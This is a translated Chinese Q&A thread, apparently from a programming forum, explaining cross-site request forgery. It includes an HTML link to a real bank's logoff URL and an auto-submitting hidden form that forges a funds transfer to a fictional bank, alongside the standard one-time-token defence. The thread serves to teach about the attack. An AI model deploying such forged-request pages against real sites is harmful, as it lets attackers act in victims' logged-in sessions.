我们团队最近讨论了CSRF攻击。我的团队成员说以下是CSRF攻击: 1.攻击者向受害者发送伪造的html文件,该文件可能有一些伪造的请求,如窃取cookie 2.受害者保存文件 3.受害者打开受信任的网站,然后打开html文件 4.执行文件请求
它可以在chase上工作,允许用户注销。以下是脚本:
<!DOCTYPE html>
<html>
<body>
<p>Create a link of an image:
<a href="default.asp">
<img src="smiley.gif" alt="HTML tutorial" width="32" height="32"></a></p>
<p>No border around the image, but still a link:
<a href="https://chaseonline.chase.com/secure/LogOff.aspx">
<img border="0" src="smiley.gif" alt="HTML tutorial" width="32" height="32"></a></p>
</body>
</html>
它至少可以让我自己成功注销。但是,我觉得这是因为文件在本地执行,使其工作。如果我打开一个真正的恶意网站或页面,它可能无法正常工作。谁能给我任何想法?
谢谢〜
答案 0 :(得分:2)
好吧,假设您为银行运营网站。假设您有一个终点,它向POST
请求https://bank.example.com/transfer
请求表单数据,其中包含要转移到的帐户以及要转帐的金额。当然,您将检查会话cookie以确保请求来自具有有效会话的用户。
现在,恶意网站可以构建一个表单,其中包含他们希望将钱发送到的帐号以及一些任意金额。现在他们需要做的就是将所有访问恶意网站的访问者发布到https://bank.example.com/transfer
。登录银行网站(并获得有效会话cookie)后登陆恶意网站的任何受害者现在都可以从他们那里偷钱。
此攻击的标准修复是要求所有导致重要状态更改的端点也提交随机的一次性密钥,该密钥对用户的cookie缓存是独立的(通常包括在页面上的您的网站)你希望请求来自)。
答案 1 :(得分:0)
让我也举一个典型的CSRF攻击案例,攻击者欺骗受害者将钱转移到他的账户,前提是受害者与银行进行了积极的会谈。此攻击要求在与银行进行合法会话时代表受害者提交POST请求。攻击者可以让受害者访问包含以下HTML的页面:
<html>
<body>
<form name="hack_form" action="http://CrapyBank.com/csrf.php?menu=400&TransferFunds=4000" method="POST">
<input type="hidden" name="hack_param" value="hack">
</form>
<script type="text/javascript">document.hack_form.submit();</script>
</body>
</html>